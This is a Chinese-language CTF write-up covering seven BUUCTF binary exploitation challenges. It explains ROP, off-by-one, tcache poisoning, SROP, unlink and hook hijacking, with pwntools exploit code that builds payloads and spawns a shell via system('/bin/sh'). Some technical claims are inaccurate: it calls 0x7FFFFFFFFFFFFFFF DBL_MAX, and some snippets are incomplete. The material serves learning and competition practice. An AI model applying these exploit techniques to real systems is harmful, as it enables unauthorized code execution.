二进制安全实战：堆漏洞利用与CTF题目解析

1. 二进制安全入门：从零开始的堆漏洞实战指南

作为一名长期活跃在CTF赛场的二进制安全研究员，我经常被问到如何系统性地学习堆漏洞利用技术。今天，我将通过7道BUUCTF平台上的经典题目，带大家深入理解堆管理机制和常见漏洞利用手法。这些题目覆盖了从基础到进阶的各种堆漏洞类型，特别适合刚入门二进制安全的同学。

在开始之前，我需要强调：本文所有技术内容仅用于合法授权的安全测试和CTF竞赛，请勿用于非法用途。我们鼓励白帽精神，共同维护网络安全环境。

2. 题目解析与实战演练

2.1 vn_pwn_warmup：ROP链基础应用

这道题目展示了最基本的ROP技术应用场景。我们先检查程序保护机制：

bash复制checksec --file=vn_pwn_warmup

发现程序开启了NX保护，但未启用PIE和栈保护。这意味着我们可以使用ROP技术，但需要注意以下几点：

1. 程序限制了部分系统调用，需要通过ORW(open-read-write)技术读取flag
2. 存在栈溢出漏洞，但需要先布置ROP链再进行跳转

关键利用代码如下：

python复制from pwn import *

context.arch='amd64'
p = remote("node5.buuoj.cn",25103)
libc = ELF('./libc-2.23.so')

# 泄露libc地址
ru(b'0x')
libc.address = int(rv(12),16) - libc.sym.puts

# 构建ORW ROP链
rop_chain = [
    libc.address + 0x0000000000021102,  # pop rdi; ret
    0,                                  # fd = stdin
    libc.address + 0x00000000001150c9,  # pop rdx; pop rsi; ret
    0x8,                               # length
    libc.address + 0x3c5720 + 0x200,   # buffer
    libc.sym.read,                     # read(0, buf, 8)
    # ... 后续open/read/write调用
]

# 发送ROP链并触发
payload = flat(rop_chain).ljust(0x180,b'a')
sd(payload)

技术要点：

• 通过puts函数泄露libc基址
• 精心构造ROP链实现文件操作
• 注意栈对齐问题（ret指令用于对齐）

2.2 [V&N2020]simpleHeap：Off-by-One漏洞利用

这道题展示了经典的off-by-one漏洞利用。我们先分析程序功能：

1. 可以创建、编辑、显示和释放堆块
2. 编辑功能存在off-by-one漏洞，可以覆盖下一个chunk的size字段

利用步骤：

1. 创建两个相邻的0x68大小chunk
2. 利用off-by-one修改第二个chunk的size，使其包含第三个chunk
3. 释放并重新申请，造成堆重叠
4. 泄露libc地址后，通过fastbin attack劫持malloc_hook

关键代码片段：

python复制# 创建初始chunk
add(0x68, b'a') # chunk 0
add(0x68, b'a') # chunk 1

# 利用off-by-one修改size
edit(0, b'a'*0x68 + p8(0xf1))  # 修改chunk1的size为0xf1

# 释放并重新申请
free(1)
add(0x68, b'a') # 重新申请chunk1

# 现在可以读取包含libc地址的chunk
show(2)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x3c4b78

注意事项：

• 注意计算正确的size值以避免崩溃
• 考虑tcache的影响（本题使用libc-2.23，无tcache）
• 可能需要调整realloc的偏移来稳定one_gadget

2.3 vn_pwn_easyTHeap：Tcache攻击实战

这道题展示了tcache机制的利用方式。程序限制：

• 只能分配1-0x100大小的chunk
• 最多7个chunk
• 存在UAF漏洞

利用思路：

1. 通过double free在tcache中制造循环
2. 劫持tcache结构体，修改count使chunk进入unsorted bin
3. 泄露libc地址后，再次利用tcache劫持malloc_hook

关键步骤代码：

python复制# Double free制造tcache循环
add(0x50) # chunk 0
free(0)
free(0)  # double free

# 泄露tcache结构体地址
show(0)
tcache_struct = u64(p.recv(6).ljust(8,b'\x00')) - 0x260

# 修改tcache count
add(0x50) # chunk 1
edit(1, p64(tcache_struct + 0x10))
add(0x50) # chunk 2
add(0x50) # chunk 3 (实际是tcache结构体)
edit(3, b'\xff'*0x28) # 修改count为很大值

技术细节：

• tcache结构体包含count和entries数组
• 当count超过TCACHE_MAX_BINS时，chunk会进入常规bins
• 注意不同libc版本中tcache实现的差异

2.4 vn_pwn_babybabypwn_1：SROP高级利用

这道题使用了SROP(Sigreturn Oriented Programming)技术。SROP利用了Linux的信号处理机制，通过伪造signal frame来实现强大的控制能力。

利用步骤：

1. 通过栈溢出控制RAX寄存器（设置值为15，即sigreturn系统调用号）
2. 构造伪造的signal frame，设置寄存器状态
3. 执行sigreturn系统调用，恢复精心构造的寄存器状态

关键代码：

python复制# 构造signal frame
frame = SigreturnFrame()
frame.rdi = 0                  # fd = stdin
frame.rsi = libc.address + 0x3c5720 + 0x400  # buffer
frame.rdx = 0x100              # length
frame.rip = libc.sym.read      # 调用read
frame.rsp = libc.address + 0x3c5720 + 0x408  # 新的栈指针

# 发送payload
payload = bytes(frame)[8:]  # 去掉前8字节的uc_flags
ru(b'Please input magic message: ')
sd(payload)

技术要点：

• 需要准确控制RAX寄存器的值
• signal frame的构造需要与内核版本匹配
• 可以结合其他技术（如栈迁移）增强利用效果

2.5 axb_2019_heap：格式化字符串与堆结合利用

这道题结合了格式化字符串漏洞和堆漏洞。程序特点：

1. 存在格式化字符串漏洞，可以泄露地址
2. edit功能存在off-by-one漏洞
3. 只能分配大于0x80的chunk

利用思路：

1. 通过格式化字符串泄露PIE和libc地址
2. 使用off-by-one触发unlink攻击
3. 修改free_hook为system地址

关键步骤：

python复制# 泄露地址
sl(b'%14$p%15$p')
ru(b'0x')
pie_base = int(p.recv(12),16) - 0x1200
ru(b'0x')
libc_base = int(p.recv(12),16) - 0x20830

# 构造unlink
add(0, 0x98, p64(0) + p64(0x91) + p64(pie_base + 0x202060 - 0x18) + p64(pie_base + 0x202060 - 0x10))
add(1, 0x98, b'a')
edit(0, b'a'*0x90 + p64(0x90) + b'\xa0')  # off-by-one
free(1)  # 触发unlink

注意事项：

• 格式化字符串偏移需要根据实际环境调整
• unlink攻击需要精心构造fake chunk
• 注意不同glibc版本中unlink实现的差异

2.6 护网杯_2018_gettingstart：浮点数漏洞利用

这道题展示了二进制中浮点数表示的特殊性。通过发送特定的浮点数值，可以绕过程序的检查机制。

关键payload：

python复制payload = b'a'*24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
p.sendline(payload)

技术解析：

• 第一个p64是double的二进制表示，对应DBL_MAX
• 第二个p64是0.1的精确二进制表示
• 利用浮点精度问题绕过检查

2.7 ciscn_2019_es_1：Tcache Dup技巧

这道题展示了libc-2.27下的tcache double free利用。由于2.27版本没有对tcache的double free检查，可以直接利用。

利用步骤：

1. 分配大chunk进入unsorted bin，泄露libc
2. 对small chunk进行double free
3. 劫持free_hook为system

关键代码：

python复制# 泄露libc
add(0x410, b'a', b'a')  # 进入unsorted bin
free(0)
show(0)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x3ebca0

# tcache dup
free(1)
free(1)  # double free

# 劫持free_hook
add(0x20, p64(libc_base + libc.sym.__free_hook), b'a')
add(0x20, b'a', b'a')
add(0x20, p64(libc_base + libc.sym.system), b'a')
free(2)  # 触发system("/bin/sh")

防御措施：

• 更新到有tcache double free检查的libc版本
• 使用GNU_RELRO保护敏感指针
• 实现自定义的堆管理安全检查

3. 堆漏洞利用的核心技术总结

通过这7道题目，我们可以总结出堆漏洞利用的几个核心技术点：

3.1 信息泄露技术

• 通过unsorted bin泄露libc地址
• 通过堆指针泄露堆布局
• 使用格式化字符串泄露程序基址

3.2 常见堆漏洞类型

1. Use-after-Free (UAF)
2. Double Free
3. Off-by-One
4. Heap Overflow
5. Tcache Poisoning

3.3 高级利用技巧

1. Unlink Attack
2. House of系列技巧
3. Tcache Dup
4. SROP
5. FSOP (File Stream Oriented Programming)

4. 实战中的注意事项

在实际的漏洞利用过程中，有几个关键点需要特别注意：

1. 环境一致性：确保本地调试环境与远程环境一致，特别是libc版本
2. 堆布局控制：精确控制堆的分配和释放顺序
3. 稳定性优化：考虑添加填充数据或调整偏移来提高利用稳定性
4. 错误处理：为各种可能的情况添加检查点，便于调试

5. 学习资源推荐

想要深入二进制安全领域，我推荐以下学习路径：

1. 基础理论：

   • 《程序员的自我修养》- 理解ELF格式和动态链接
   • 《深入理解计算机系统》- 掌握底层原理

2. 实战平台：

   • BUUCTF
   • Pwnable.kr
   • Hack The Box

3. 工具掌握：

   • GDB + pwndbg/gef
   • IDA Pro/Ghidra
   • pwntools

4. 进阶研究：

   • 阅读glibc源码，理解堆管理实现
   • 研究最新的漏洞利用技术论文
   • 参与CTF比赛和漏洞赏金计划

6. 我的学习心得

在多年的二进制安全研究中，我总结了以下几点经验：

1. 从基础开始：不要急于求成，扎实的汇编和系统编程基础是关键
2. 动手实践：看100篇writeup不如自己实际解决一道题目
3. 记录笔记：详细记录每次调试过程和解决方案
4. 参与社区：加入安全社区，与他人交流学习
5. 保持更新：安全领域技术更新快，需要持续学习

记住，成为二进制安全专家没有捷径，需要大量的实践和积累。希望这篇文章能为你的学习之路提供一些帮助。如果遇到任何问题，欢迎在评论区交流讨论。